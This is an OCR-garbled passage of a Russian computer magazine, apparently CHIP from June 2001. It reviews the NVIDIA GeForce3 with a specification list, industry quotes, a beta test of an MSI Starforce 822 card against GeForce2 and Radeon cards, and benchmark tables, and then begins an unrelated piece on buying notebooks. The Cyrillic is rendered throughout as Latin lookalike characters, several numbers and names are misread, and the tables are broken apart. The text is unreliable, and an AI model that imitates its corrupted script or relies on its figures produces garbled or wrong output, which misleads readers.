npoueccopax. rpac|DMHecKMM npoueccop, KOTopbiM mc- 
no/ib 3 yeT cynepc 3 Mn/iMHr, pa6oTaeT HaA OTo6pa>xae- 
mwm M 3 o 6 pa>KeHMeM b 6o/iee bwcokom pa 3 peweHMM, 
neM Texyiuafl HacrpoMxa MOHMTopa, a 3 aTeM o6pa6a- 
TbiBaeT m cjDM/ibrpyeT M 3 o 6 pa>xeHMe b oxoHHaTe/ibHoe, 
npe>KAe neM oho y\Af\ej Ha sxpaH. CyiAecTByeT ue/ibm 
p^A MeTOAOB A-Hfl Bbino/iHeHMa ashhom onepauMM, ho 
xa>KAbiM M 3 hmx Tpe6yeT ot rpacjiMHecKoro npoueccopa 
npeAOCTaB/ieHM^ cmnbXMx Aono/iHMTe/ibHbix nMxce- 
nev\ r CKO/ibKO Tpe6yeT mctoa cynepc 3 Mn/iMHr. K TOMy 
>xe, nocxo/ibxy rpacjiMHecKMM npoueccop o6pa6aTbiBa- 


eT 60/ibwe nMxce/ieM neM 6yAeT OTo6pa>KeHo b xoHen- 
hom MTore, Hy>KHa mx Aono/iHMTe/ibHa/i c|)M/ibTpauMfl 
eiue ao BbiBOAa Ha sxpaH. flaHHaa onepauM/i MO>xeT 
cymecTBeHHO 3aMeA/iMTb pa6oTy CMCTeMbi, no3TOMy-TO 
caMOM 6ojibwoM npo6/ieMOM cynepc3Mn/iMHra AB/meT- 
Cfl yMeHbUJeHMe KOHeHHOM npOM3BOAMTe/lbHOCTM bm- 
AeoycKopMTe/ifl. no/ib30BaTe/ieM He ycTpoMT pe3Koe 
naAeHMe xo/iMHecTBa cJdpsmmob b cexyHAy. My/ibTM- 
C3Mn/lMHT M 53BJI5ieTC51 TOM CaMOM 6o/iee «yMHOM» Tex- 
HO/iorMeM, neM cynepc3Mn/iMHr. Ochobhom MAeeM 
My/ibTMC3Mn/iMHra AB/meTca Ao6aB/ieHMe MHTe/i/iexTy- 
a/ibHoro cma>KMBaHMii b caMO AApo GPU. ripaBAa npM 
3 tom GPU CTaHOBMTC^ 6o/iee 3arpy>KeHHbiM, ho AaeT 
no/ib30BaTe/ix) 6o/iee Bbicoxoe xanecTBO m pa3rpy>xa- 
eT uem-pa/ibHbiM npoueccop. OaKTMHecKM GeForce3 
GPU MO>KeT BbIHMC/lilTb «BMpTya^bHbie nMKce/iM» M/1M 
Aono/iHMTe/ibHbie csMn^bi 6e3 noTepb b cxopocTM m 
6e3 yMeHbUJeHMe MaiUMHHOM npOM3BOAMTe/lbHOCTM. 
GeForce3 GPU — nepBbm npoueccop, KOTopbiM no3BO- 
^5ieT Mcno^b30BaTb HRAA Ha KOMnbiOTepax npocTbix 
no^b 30 BaTe^eM. 

TexHiinecKiie xapaKTepiiCTiiKii GPU 
GeForce3, npeACTae/ieHHbie NVIDIA 

► TexHO/iomHecKMM npouecc npoM3BOACTBa: 0,15 mkm 

► HMC/IO TpaH 3 MCTOpOB: 57 M/ 1 H 

► nacTOTa rpac|DMHecKoro *Apa: 200 MTu 

► HMC/10 nMKce/ibHbix KOHBeMepoB o6pa6oTKM: 4 

► HMC/10 TexcTypHbix 6 /iokob Ha xa>KAOM KOHBeMe- 
pe o 6 pa 6 oTKM: 2 

► B03M0>KH0CTb Ha/10>KeHM/l ao 4 TeKCTyp Ha OAMH 
nMKce/ib 3a oamh npoxoA 

► MHTepcjDeMC naM/iTM: 128 6 mt 

► noAAep>KMBaeMbie TMnbi naM/iTM: DDR 
SDRAM/SGRAM 

► nMKOBa/i nponycKHa/i cnoco 6 HOCTb uiMHbi naM/iTM 
(230 Mfu DDR): 7 T 6 aMT/c 


► noAAep>KMBaeMbiM 06 -beM zioxa/ibHOM BMAeona- 
m/itm: ao 128 M6aMT 

► RAMDAC: 350 Ml"u 

► MaxcMMa/ibHoe pa3peiueHMe: 2048x1536 @ 75 Tu 

► MHTerpMpOBaHHbIM B HMn TMDS TpaHCMMTTep 
n03BO/l/ieT nOAK/lKDHaTb MOHMTOpbl no UMCfipOBO- 
My MHTepcjDeMcy (DVI) c pa3peiueHMeM ao 
1600x1200 

► MHTepcfieMC BHeuiHeM uiMHbi: no/iHaa noAAop>KKa 
AGP x2/x4 (BK/nona/i SBA, DME m Fast Writes) m 
PCI 2.2 (BK/Hona/i Bus mastering) 

► annapaTHbiM T&L c npoM3BOAMTe/ibHOCTbio skbm- 
Ba/ieHTHOM 76 M/ipA onepauMM c n/iaBaioiueM 
TOHKOM B CeKyHAy 

► no/iHa/i annapaTHa/i noAAop>KKa Bcex bo3mo>kho- 
CTeM DirectX 8.0 m OpenGL 1.2 

► no/iHa/i noAAep>KKa annapaTHbix BepuiMHHbix 
meMAepoB (VertexShaders) DX8, BepcM/i 1.1 

► no/iHa/i noAAep>KKa annapaTHbix nMKce/ibHbix 
meMAepoB (PixeLShaders) DX8, BepcM/i 1.1 

► noAAep>KKa 06-beMHbix TeKCTyp m xy 6 MHecKMx 
xapT cpeAbi (Cube environment mapping) 

► noAAep>KKa npoeKTMBHbix TeKCTyp (projective 
textures) 

► noAAep>KKa annapaTHOM Tecce/i/iUMM maAKMx no- 
BepxHOCTeM - np/iMoyro/ibHbix m Tpeyro/ibHbix 
«naTHeM» (RT Patches) 

► annapaTHa/i noAAop>KKa pe/ibec|DHoro TexcTypM- 
poBaHM/i: Embosing, Dot Product3 m EMBM 

► noAAep>KKa S3TC m Bcex n/iTM DXTC mctoaob kom- 
npeccMM TeKCTyp 

► noAAep>KKa OTceneHM/i npMMMTMBOB no npoM3- 
BO/lbHO 33AaHHblM n/lOCKOCT/lM 

► noAAep>KKa FSAA Ha ocHOBe pa 3 /iMHHbix mctoamk 
M y/ibTMC 3 Mn/iMHra (MSAA) 

► annapaTHbie cpeACTBa p,nn skohommm no/iocbi 
nponycxaHMA BMAeonaM/iTM: noAAop>KKa c>Ka- 
Toro cfiopMaTa 6yc|Depa r/iy6MHbi (compressed Z) 
m paHHero onpeAe/ieHM/i bmammoctm Tonex 
(HSR Ha 6a3e early Z test) 

► noAAep/xxa TexcTyp c pa3MepoM ao 4096x4096 
@ 32 6 mt. 

M b 3aBepmeHMe npHBe^eM napy 
0T3biB0B o GeForce3 «aKy/i» lirpoBOH 
HHAyCTpiiH. 

1/lTax: 

1. «GeForce3 AOMOHCTpMpyeT /iMAepcTBO 
NVIDIA B MHAyCTpMM KOMnblOTepHOM rpacjDMKM. 
06i5eAMH/i/i mx MHCTpyMeHTapMM m SDK, NVIDIA 
no3BO/i/ieT EA npoAO/uxaTb ycTaHaB/iMBaTb CTaH- 
AapT Ha rpac|DMKy b Mrpax». 

floH MaTTpMK (Don Mattrick), npe3MAeHT xoMna- 
hmm Electronic Arts, Worldwide Studios. 

2. «roBop* xopoTKO, GeForce3 - 3 to hto-to cfiaHTac- 
TMHecxoe. 51 Tax He BneHaT/m/icfl noBbiiueHMeM npoM3- 
BOAMTe/ibHOCTM co BpeMeH npMiuecTBM/i Voodoo 2, a 
TyT eiue eCTb TOHHa HOBbIX B03MO>XHOCTeM npo- 
rpaMMMCTOB, c xoTopbiMM mo>kho 6 bi/io 6bi «noMrpaTb». 
■ ■ ■ fl>xoH KapMax (John Carmack), B/iaAe/ieu 
n r/iaBHbin nporpaMMncT xoMnaHvm id Software. 


CHIP 


M K) H b 


2 0 0 1 
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Beia-TecT NVIDIA GeForce 3 

GeForce 3: 

cnopHbie pe3y/ibTaTbi 

K npuBbiHHOM flJia GeForce 6bicTpoTe noKa3a TpexMepHbix cijeH HOBbm GeForce 3 AO/i>KeH 6bui 
Ao6aBMTb y^yHiijeHHoe KanecTBO M3o6pa>KeHi/m, HTo6bi Bbino/im/iTb o6eiAam/ie NVIDIA 
npoAGMOHdpupoBaTb caMbm 6bicrpbm n coBepiueHHbiM BMAeoycKopme/ib. 



M rpOKM OKMflaiOT OT rpac|DMHeCKOM KapTbl, KO- 
Topaa b EBpone ctomt nyib MeHbwe $500, 
fleMCTBme^bHO nero-TO CTOfliAero: c oahom dopo- 
Hbi, Bee cueHapuM coBpeMeHHbix MrpoBbix npo- 
rpaMM AO/DKHbl pa3BOpaHMBaTbC51 MaKCMMa/l bHO 
6bicipo m 6e3 3aAep>KeK; c ApyroM — rpacjDMHec- 
KMM HMn AO/DKeH OTBenaTb BCeM KOMlUieKCHblM 
Tpe6oBaHM5iM b n/iaHe p,ejan\A3au,m M3o6pa>KeHMfl 
M UBeTOBOM HaCbllAeHHOCTM. 


HoBOBBeAeHHsi b GPU GeForce 3 

Ecjim pa3Hnua Me>KAy GeForce 256 m GeForce 2 co- 
CTOfl/ia, Co6dBeHHO rOBOpfl, TO/lbKO b tohkom Ha- 
dpoMKe, to GeForce 3 AB/iaera a6co/iKymo hobom 
pa3pa6oTKOM NVIDIA. BeAb HOBMHKa MMeeT Ma/io 
o6iAero co cbommm npeALuecTBeHHMKaMM. A o6bf\c- 
Hmb tot cfiaKT, noneMy HaMMeHOBaHne GeForce Bee 
>Ke 6bmo coxpaHeHO, aoct3tohho npocTo: NVIDIA 
Ae/iaeT CTaBKy Ha y3HaBaeMOCTb CBoero npoAyKTa, 


Tax KaK Mapxa GeForce CBfl3aHa c OT/iMHHbiMM pe- 
3y^bTaTaMM b 06/iacm TpexMepHoPi rpac|)MKM. 

HacTOfiiAMx npopbiBOB npHAeTcn 
eme noAO>KAaTb 

no cpaBHeHMio c GeForce 2 b hobom GeForce 3 
NVIDIA o6eiAa/ia yBe/iMHeHMe o6iAeM npon3BOAM- 
Te/i bHOCTM b 5-7 pa3. Flo h o b bi m rpacjDMHecKM m 
ycKopMTe/ib ripn pa6oTe c TpexMepHbiMM MrpoBbi- » 



a C CMCTeMoii cr/ia>KHBaHii^i KOHTypHbix HepoBHOCTeii FSAA: a Aa>ne Ha piicyHKe ne/ierno sasvieTMTb KOHTypbi CTyneHen, 

pacno/iomeHHasi nonepeK pncyHKa CTyneHbKa ziecTHMUhi Bbi- nocKO/ibny ohm Bbi t/hiabt pasMbiTbiMM 

rm iamt 6ojiee neTKOM, a 3HaHMT ecTecTBeHHOM 


CHIP 


M K) H b 


2 0 0 1 
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0630P TeXHMHeCKMX AaHHbix 


GeForce 3 

GeForce 2 Ultra 

GeForce 2 GTS 

Radeon 

np0M3B0flklTe/lb 

NVIDIA 

NVIDIA 

NVIDIA 

ATI 

TexHMHecKoe Mcno/iHeHkie 

0,15-MMKpOH 

0,18-MMKpOH 

0,18-MMKPOH 

0,18-MMKPOH 

TpaH3MCT0pbl 

57 M/1H 

25 M/1H 

25 M/1H 

30 M/1H 

TaKTOBan nacTOTa HMna 

200 Mru 

250 Mru 

200 Mru 

183 Mru 

TaKTOBaa nacTOTa naMBTM 
(pa6onaB) 

460 

460 Mru 

333 Mru 

366 Mru 

Pixelpipelines 

4 

4 

4 

2 

KOJIMHeCTBO eflMHMU 3/ieMeHTOB 
TeKCTypbi Ha Pixelpipelines 

2 

2 

2 

3 







» mm nporpaMMaMM b abctobom pe>KMMe 16 6mt He 
cmot noKa3aTb fla>Ke flByxKpaTHoro yBejiMHeHMji. 
Hm m rpoBOM Ted OpenGL Q3A, hm KOHTpojibHbiM 
DirectX 7 3Dmark 2000 HMHero He BbmrpbiBa- 
tOT ot HOBbix cbomctb npoueccopa Vertex, TaK Kax 
o6a npMjio>KeHMfl o6paiAaiOTCfl MCKJiioHMTejibHo 
k 6jiOKy Transform & Lighting (T&L) ycKopnTejm. 
TaKTOBa^ nacTOTa y flaHHoro 6jioKa no cpaBHe- 
hmk) c GeForce 2 Ultra Ha 50 MTu MeHbiue. CoBep- 
meHHo eciecTBeH ho, hto t3kmmm noKa3aie^5iMM 
hmkoto yflMBMTb He yfladc^. OflHaKO b abctobom 
najiMTpe 32 6mt m c Mcno/ib30BaHneM CMdeMbi 
cr/ia>KMBaHMii KOHTypHbix HepoBHOCTePi FSAA Aejia 
o6ctoat HecKO/i bKO /lyniue: Han n HaiOT AencTBO- 
BaTb a^ropMTMbi o6pa6oTKM M3o6pa>KeHMfl, koto- 
pbie NVIDIA npeAycMOTpe/ia b HMne GeForce 3. 
Bo3mo>kho, coBpeMeHHbie 3TajioHHbie TecTbi nona 
He B COCTOflHMM nOJIHOCTblO OAeHMTb npOM3BOAM- 

Te^bHocTb nfiniteFX. Chip HaBepciaeT AaHHoe 
ynyiAeHMe, KaK TOJibKO y Hero b pacnop^>KeHMM 
noABATCfi HOBbie cneuna/ibHbie TecTOBbie npo- 
rpaMMbi. 

riepBbie 3K3eMn/mpbi GeForce 3 noflBMjincb b 
npoAawe b Hanajie anpejm. Ha AaHHbin momcht 
TpyAHO nopeKOMeHAOBaTb HOByio Kapiy, nocKOJibKy 
Majio kto roTOB Bbi/io>KMTb HeMajiyio cyMMy 3a 
B03M0>KH0CTM, KOTOpbie M B 6yAyiAeM CMOryT 
npOflBMTbCfl TOJibKO B HeCKOJlbKMX MTpOBblX npO- 
rpaMMax. OcraeTCfi HaAeflTbCfi, hto b ckopom 6yAy- 


lAeM ATI npeA/io>KMT aHajiorMHHyio no 
npOM3BOAMTe/lbHOCTM MOACJlb, HTO 3aCT3BMT 
NVIDIA CHM3MTb ueHy Ha cboio KapTy. 

TexHiiHecKiie xapaKTepMCTMKM 
GeForce 3 

HaAe>KAbi, noAnnTbiBaBwnecfl cnyxaMM, hto y Ge- 
Force 3 6yAeT TaKTOBaa nacTOTa HMna 250 mjim Aa- 
>Ke 300 MTa m Tpn mjim neTbipe TeKCTypHbix MOAyJifl 
Ha KaHaji AaHHbix, He onpaBAa/incb: nacTOTa HMna 
cocT3BM/ia 200 MTa, a KOJinnecTBO nMKcejien 
m TeKCTypHbix MOAyneM ocraeTai HeM3MeHHbiM. 

3acTaBjmeT HacTopowMTbca m kojimhcctbo ycTa- 
HOB/ieHHbix b GeForce 3 TpaH3MCTopoB — 57 mjih, 
hto b Aaa c /imluhmm pa3a 6ojibwe, neM y GeForce 2 
(25 mjih). cpaBHeHMfl: y Pentium 4 mnbKO 
42 mjih TpaH3MCTopoB. Pa3peKJiaMMpoBaHHoe 
NVIDIA yBejiMHeHMe npoM3BOAMTejibHOCTM no ot- 
HomeHMio k npeAiuecTBeHHMKy «npoMcxoAMT», one- 


BMAHO, TOJlbKO BO BHyTpeHHeM MMpe BMAeOyCKOpM- 
Tejui. 

DirectX m pyTMHHbie rpa<f>M4ecKne 
onepaumi 

Ecjim nun GeForce 2 coctomt TOJibKO M3 oaho- 
ro BMOHTMpoBaHHoro 6jiOKa Transform & 

Lighting, to GeForce 3 Mcnojib3yeT cpa3y ABa Ka- 
Hajia. 1/lHTerpMpoBaHHbie b npeAbiAyiAnx MOAejmx 
b nun ajiropMTMbi pacneTa ocBeiAeH ma m pacnojio- 
>KeHMji Tpeyroji bH mkob, Heo6xoAMMbie p,nn 
DirectX 7, ocTaiOTCfi HeM3MeHHbiMM m b hobom HM- 
ne. J1 m in b b 6yAyiAMx Mrpax, Mcnojib3yioiAMx 
DirectX 8, rpacjDMHecKM n npoueccop GeForce 3 
AOJDKeH 6yAeT, comacHO mhchmio NVIDIA, nojiHO- 

CTblO MCnOJlb30BaTb CBOM B03MOJKHOCTM . B 3TOM 
CBA3M NVIDIA rOBOpMT 
o Vertex- n Pixel-npouec- 
copax. 06e pa3pa6oTKM 
MapKemnorM NVIDIA 0615- 
eAMHjnoT noA noHATneM 
nfiniteFX Engine. Ecjim 
npoueccop Vertex OTBena- 
eT 3a ycKopeHHbie aHMMa- 
AMOHHbie 3 CjDCjDe KTbl, TO 

Pixel-npoueccop — 
ueHTp o6pa6oTKM cbcto- 
BblX M TeHeBbIX SCpCpeKTOB. 
0co6eHHOCTM COCTOflT B 
TOM, HTO pa3pa60THMKM Mrp MOTyT nOACTpaM B3Tb 
rpacjDMHecKMM KOHTpojuiep nepe3 MHTepcfieMC 
DirectX 8 noA cbom co6cTBeHHbie noTpe6HOCTM. 
NVIDIA TecHO coTpyAHMHaeT c Microsoft: no- 
CKOJibKy p,nn Microsoft npon3BOAHJicji rpacjDMHec- 
kmm h m n p,nn MrpoBOM kohcojim X-Box, TO NVIDIA 
6buio no3BOJieHo ynacTBOBaTb b pa3pa6oTKe 
CT3H AapTa DirectX 8. 

Hoeaa apxiiTeKTypa mwHbi naMsiTM 

CeroAHJUUHMe MrpoBbie CAeHapnn MoryT nopon co- 
CTOJiTb M3 6ojiee neM 100 TbiaiH Tpeyroji bH mkob Ha 
KapTMHKy. ripM TaKOM KOJioccajibHOM o6-beMe AaH- 
Hbix mo>kho npeAnojio>KMTb, hto AGP craHeT caMbiM 
y3KMM MecTOM b CBA3Ke BM AeoKapTa-npoueccop- 
naMjiTb. Pa3pa6oTaHHbm b NVIDIA Higher Order 
Surface-MexaHM3M npM3B3H Mcnojib30BaTb AGP 60- 
Jiee 3KOHOMMHHO, HTO nOMOJKeT M36e>KaTb «CTynO- 
poB» CMCTeMbi npM nepeAane AaHHbix. 


1/lAeji 3aKJiK)HaeTCfl b cjieAyioiAeM: Ka>KAbiM 
TpexMepHbm odteKT mo>kho onncaTb MaTeMaTnnec- 
kmmm ypaBHeHMAMM. ripn 3tom Hy>KHO nepeAaBaTb 
TOJibKO Heo6xoAMMbie nepeMeHHbie, KOTOpbie 
npeACTaBjijnoT co6om KOopAMHaTbi m BeKTopa abm- 
weHMfl Bbi6paHHbix yrjiOBbix ToneK. npoueccop b 
coctoahmm MOAejiMpoBaTb cooTBeTCTByioiAee nep- 
BOHanajibHoe TpexMepHoe M3o6pa>KeHMe TOJibKO 
Ha ocHOBe 3tmx AaHHbix. 3to cepbe3HO pa3rpy>Ka- 
eT MHTepcJjeMC AGP, nocKOJibKy nepeAaiOTCfl TOJibKO 
napaMeTpbi, a KapTa BbinojiHjieT ocraTOK 
«rpji3HOM» rpacfiMHecKOM pa6oTbi. 

Mcno/ibsoBaHwe BMfleonaMBTM 

Crossbar-Memory-Controller, Mcnojib3yeMbin b 
GeForce 3, 3HaHMTejibHO noBbiiuaeT acjactae ktm b- 
HOCTb pa6oTbi BMAeonaMjiTM. fljui stoto b HMne 
MHTepcJjeMC naMjiTM wnpnHOM b 256 6mt pa3AejieH 
Ha 4 nacTM no 64 6mt. flaHHaji MeTOA^Ka no3BO- 
juieT npM He6ojibiuMx obteMax MHcjDopMaAMM co- 
XpaHMTb LUMpMHy. B TaK Ha3blBaeMOM 3H3HeHMM 
Z 3ajio>KeHa MHcfiopMaAMji 0 jipkoctm M3o6pa>Ke- 
hma KapTMHKM. Losless-Z-Compression, to ecTb 
Z-c>KaTMe 6e3 noTepb, coKpaiAaeT «uiMpMHy» no- 
JlOCbl MHCjDOpMaUMM npMMepHO Ha HeTBepTb. 

TaKMM o6pa30M AaHHbie OKMMaiOTCJi nepeA ot- 
npaBjieHMeM nepe3 m m H y AGP, a 3aTeM cHOBa pac- 
naKOBbiBaiOTca. M HaKOHeu, Z-Occlusion-Culling 
3a60TMTCJl O TOM, HT 06 bl B BMAGOnaMJITM nOflBM- 
jiMCb peajibHo pa3JiMHMMbie MMHMMajibHbie 3Jie- 
MeHTbl M3o6pa>KeHMJl — 3TO 3KOHOMMT BpeMJl 
pacneTOB. PaHbiue Hy>KHo 6buio CTpoMTb b 2 pa3a 
6ojiee KanecTBeHHyio KapTMHKy, neM Heo6xoAHMO 
AJia BbiBOAa Ha 3KpaH. 

CTapbie TexHO/ioriiM b hobom ceeTe 

HOBbIM yCKOpMTeJlb, HeCMOTpjl Ha HOBOBBeAeHMJl, 
Mcnojib3yeT AajieKO He HOBeMiuMe macm. fljui 
npMMepa ctomt ynoMjiHyTb peKJiaMMpyeMbm 
NVIDIA MexaHM3M Quincunx-Multisample b pe>KM- 
Me FSAA. 3tot ajiropMTM reHepnpyeT Ka>KAyio toh- 
Ky M3o6pa>KeHMji M3 BOCbMM HaxoAfliAMxcfl BOKpyr 
MMHMMaJlbHblX 3JieMeHTOB M3o6pa>KeHMji. He 
HanOMMHaeT JIM 3TO o6blKHOBeHHblM MeAMaHHbIM 
cJjMjibTp? TaK>Ke >Ke o6ctomt Aejio m c ApyrMMM 
aJiropMTM3MM, peaJlM30BaHHblMM B HOBOM GPU. Aa 
3ApaBCTByeT xopoiuo BHeApeHHoe CTapoe! 

■ ■ TeHpvi IlIennapA 
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MSI STARFORCE 822 


nepBan xapTa GeForce 3, npoweflwafl TecmpoBaHiie 


Hm Asus, hm Elsa mjim Guillemot He npefloCTaBM/iM 
HaiueM /ia6opaiopnM TecTMpoBaHkm 
GeForce 3: nepBoPi abco/iioTHo HOByio Kapiy 
CMoma AaTb b Haiue pacnopaweHMe TO/ibKO MSI. 
Kapia Starforce 822 ywe yKOMn/ieKTOBaHa m ro- 
TOBa k Bbixofly Ha pbiHOK. BMecie c HePi b naKeie 
npeA/iaraiOTca MSI DVD Player, Ka6e/ib-aflaniep 
A/ S-Video m KpaTKaa MHCTpyKUMfl. B cBoePi mo- 
Ae/iM GeForce 3 MSI ncno/ib30Ba/ia 64 M6aPiT na- 
mhtm DDR SDRAM, cneuM(t)MUMpoBaHHoPi Ha no/i- 
HbiPi ukircn b 3,8 hc. B Tecie Mbi cpaBHM/iM 
npeA/iaraeiviyio MSI BMAeoKapiy c GeForce 2 
Ultra, GeForce 2 GTS m ATI Radeon 64 M6aPiT 
DDR. B KanecTBe MaiepMHCKoPi n/iaTbi Mcno/ib30- 
Ba/iacb Asus A7V, Ha KOTopoPi 6bm yciaHOB/ieH 
npoueccop Athlon (TB) c nacTOToPi 900 MTu. B Ka- 
necTBe onepauMOHHoPi CMdeMbi 6bma BbiOpaHa 
Windows 98 SE. 

BHMMamie! Beta-Apaueepbi! 

no/iyneHHbie b pe3y/ibiaie npoBeAGHMH TecTOB 
AaHHbie ocHOBbiBaiOTCfl Ha Mcno/ib30BaHMM beta- 
ApaPiBepoB, nocKO/ibKy Ha tot momoht y Hac He 
6bmo oc|)Mi4Ma/ibHbix ApaPiBepoB NVIDIA, noAAep- 
>KMBaioiAMx GeForce 3. TeM He MeHee KapTa MSI 
npouj/ia Bee McnbrraHMH 6e3 kokmx 6bi to hm 6bi- 
/io 3aMenaHMPi m cOoeB. OHa paboTa/ia CTaOM/ib- 
ho m 6e3 npo6/ieM 6bma MAeHTM(})MUMpoBaHa Aa- 
>ne Plug&Play onepauMOHHOM CMCTeMbi 
Windows 98. 

Pe3y/ibTaTbi 

Flana/io nepeAe TecTOB no/io>KM/i Q3A: M3Mepa- 
/iacb nacTOTa kbapob npn npoMrpbiBaHMM ct 3 h- 
AapTHoro AeMoc|)aM^a demoOOl. M cpa3y we 6bi- 
/io 3acf)MKCMpoBaHO CHM>KeHMe noKa3aTe/iePi 
HOBoro npoAyKTa NVIDIA, nocKO/ibKy pe3y/ibTaT b 
117 KaAPOB c cenyHAy (fps) b pe>KMMe 16 6 mt 
0Ka3a/ica xywe noKa3aTe/iePi GeForce 2 Ultra, 
flawe GeForce 2 GTS co 120 fps noKa3biBaeT 
/lyniuMe pe3y/ibTaTbi no cpaBHeHMio c GeForce 3. 

B pe>KMMe 32 6ma m c Mcno/ib30BaHMeM CMCTe- 
Mbi FSAA KapTMHa MeHaeTca KapAMHa/ibHo: Ge- 
Force 3 nO/lHOCTblO AOMMHMpyeT npM BbICOKOPi 
UBeTOBoPi raMMe m npu Mcno/ib30BaHMM CMCTeMbi 
ycTpaHeHMfi HepoBHOCTePi FSAA. 

B TecTe 3Dmark Hab/iioAaeTCfl MAGHTMHHafl 
KapTMHa: npM 16 6 mt GeForce 3 OTCTaeT ot Ge- 
Force 2 Ha 600 nyHKTOB (3Dmark). npM 32 6 mt 
ePi yAaeTca BHOBb M3MeHMTb CMTyauMio b cbokd 
no/ib3y: HabpaB 6920 ohkob, HOBbiPi «6 o/im a» Ge- 
Force 3 ot NVIDIA noKa3biBaeT 0AH03HanH0 /iyn- 
lumPI pe3y/ibTaT. riosTOMy BnenaT/ieHMe ot pe3y/ib- 
T3T0B HeCKO/lbKO ABOPiCTBeHHOe. 


Q3A (1024x768), (KaflpoB b cenyHAy) 



SDmark 2000 (1024x768) 


Radeon 64 M6aMT /DDR 


GeForce 2 GTS 


GeForce 2 Ultra 


GeForce 3 


4841 

5301 


4933 

7203 


6179 

7755 


6920 

7713 


FSAA (2 x 2, 9 TAB) 32 bit 
32 bit, 6e3 FSAA 
FSAA, 32 bit (Quincunx) 

16 bit, 6es FSAA 
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riocTaBbTe ce6a Ha MecTO pbmoHHoro npoflaBpa Hoyi6yKOB. BoKpyr Bac nocroaHHO 6poflm orpoMHoe 
KO/iMHecTBO noTeHijMa/ibHbix m He oneHb noxynaTe/ieM. Baiua pe/ib AocraTOHHO npocra — Heo6xoflHMO 
3aciaBMTb mx paccraTbCfl c HexoTopoM nacTbio fleHe>KHbix 3H3KOB. CoceflM, npoflaiomMe KOMn^eKTyio- 
mne, khmtm, KOMnaKTbi m fla>Ke co6paHHbie Hacro/ibHbie PC, ywe roTOBATCfl flepwaTb KpyroByio o6opoHy, 
nbiTaacb cflep>KaTb Han/ibiB K/iMeHTOB. A BaM npMxoflMTCfl Ha6/iK>AaTb TO/ibKO ro/ioflHbie rvia3a no Ty cto- 
poHy CTeK/uiHHOM BMTpMHbi, a/inymMe 3aBnafleTb b3lummm TbioHeAO/i/iapoBbiMM nMTOMAaMM. 


E AMHCTBeHHbm BMflMMbiM Ha ropM30HTe pea/ib- 
Hbi m npeieHAeHT Ha noxynxy Hoyi6yKa b ao- 
poroM KypTKe m c caMOM pacnoc/ieAHeM MOAe/ibio 
cotoboto Te/iec|DOHa He cneium noAxoAMTb k BaM, 
TaK KaK y npM/iaBKa, 3aKpbiBafl npoxoA, cmnnmiacb 
KyHKa noApocTKOB, KOTopaa k TOMy >Ke HeceT axM- 
Heio o BaweM /no6MMqe. Hepe3 HecKO/ibKO cexyHA 
CT3H0BMTCfl flCHO, HTO «AOpOrOM KypTKe» He XOHeT- 
cn Bbic^yiuMBaTb agtckmm ra/iAe>K. Kypixa BMecie c 
coTOBbiM pacTBopaeTCfl b mnne — HadpoeHMe 
nopTMTCfl OKOHHaTe/lbHO. 

KoHeHHo, Bee He TaK MpaHHo. rioKynaTe/ib mjim 
y>ne 3 HaeT, hto co 6 MpaeTCfl KynMTb, mam HacTO/ibKO 


He pa36MpaeTC5i b TexHMKe, hto Bbi6MpaeT MaiuMHy 
no BHeiUHMM ASHHbIM, a Bee TeXHMHeCKMe TOHKOCTM 
ocraiOTCfl Ha coBecTM npoAaBAa mam MeHeA>Kepa no 
npoAa>KaM. KnMeHTbi nonpoiAe He MHTepecyiOTCA 
KOMnbiOTepaMM «aaa npecm>Ka». hmx Bonwe6- 
Hoe 3aK/iMHaHne «CeL266/64/2.1/CDxl2/14,l"/ 
2hours» paccKa>KeT Bee o MOAe/iM m yMOAHMT mnbKO 
o KO/iMHecTBe uapanMH Ha Kopnyce HoyT6yKa m ero 
Macce. CyiAecTByeT mnbKO oamh apryMeHT, KOTopbiM 
cnoco6eH noBAMATb Ha Bbi6op noAKOBaHHoro noKy- 
naTe/ia, — mma npoM3BOAMTeAA. OAHaKO b stom CAy- 
nae mhchma noKynaTe/ia m npoAaBqa MoryT pacxo- 
AMTbCfl. HanpMMep, noKynaTeAM o6biHHO oneHb 


ak)6at Toshiba 3a HaAe>KHOCTb m «KpyTOCTb» (oamh 
M3 noKynaTe^eM npM3HaACA, hto Apyroro CAOBa no- 
Ao6paTb He MO>KeT). 3aTeM no cnMCKy v\f\yj IBM, HP, 
Compaq m Rover; Sony m Fujitsu y>Ke He no/ib3yiOTCfl 
TaKOM nonyAapHocrbio. 3aMbiKaiOT nepeneHb Acer, 
Mitac m Apyrue KopeMCKO-KMTaMCKO-TaMBaHbCKMe 
npoM3BOAMTe/iM. llpoAaBAbi Ha BTopoe MecTO, cpa3y 
3a Toshiba, craBAT Fujitsu. Bo3mo>kho, ohm npaBbi: 
MOAe/iM Fujitsu AeMCTBMTe/ibHO He camwkom Aopo- 
rne, m npoAaBqbi He 6yAyT xBa/iMTb mx 6e3 npMHMHbi. 
BbmM m nonbiTKM pea6MAMTMpoBaTb Sony: «MaiuMHbi 
— 3BepM! Ho 3a TaKMe AeHbrM...» Ha stom crapaHMA 
npoTaiAMTb cbomx jno6MMAeB BBepx no cnMCKy npe- 
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KpaTM/iMCb. Acer no/iynn/i no 3ac/iyraM m OT/no6nTe- 
jieM, m ot 3/ionbixaTe/ieM. Ho caMaa MHTepecHa/i cm- 
TyaqMfl c/io>KM/iacb c Rover. OTBeTOM Ha /iio6om, fla>Ke 
caMbm KaBep3HbiPi Bonpoc 6bi/io MO/inaHMe. Hm b ofl- 
hom Mara3MHe hm oamh npoflaBeu He cra/i HMHero ro- 
BOpMTb npo HMX, KpOMe flBHO 3ayHeHHblX peKJiaMHbIX 
cf)pa3. 

Ho oamh npoflaBeu — oaho MHeHMe. lbpa3AO 
MHTepecHee caMOMy noKonaTbca b nbi/ibHbix Mcqa- 
panaHHbix >Ke/ie3/iKax, KOTopbie zierKO HaMTM Ha 
pbiHKe m/im b Mara3MHax, pea/iM3yiOLAMx noAepwaH- 
Hbie MOAe/iM Hoyi6yKOB, npMHeM b xpoHOMeipMHec- 
kom nop^AKe (qeHOBOM nop^AOK c xpoHOMeipa>KeM 
npaKTMHecKM coBnaAaei). 

Bbicipoe Mopa/ibHoe ciapeHMe npeBpaiAaei 
6yKM b AP^x^eioiAMx CTapqeB 3a KaKMx-TO no/iro- 
Aa, xota caM annapaT rapaHTMpoBaHHO npopa6o- 
TaeT/ieT Aec/iTb. flMHaMMKa M3MeHeHM/i qeH Ha 
ydapeBaioiAMe MOAe/iM OTCTaeT ot qeH o6biHHbix 
HacmnbHbix n K npMMepHO Ha ABa c no/iOBMHOM 
roAa. HanpMMep, nony/mpHyio cefinac KOHcj/Mry- 
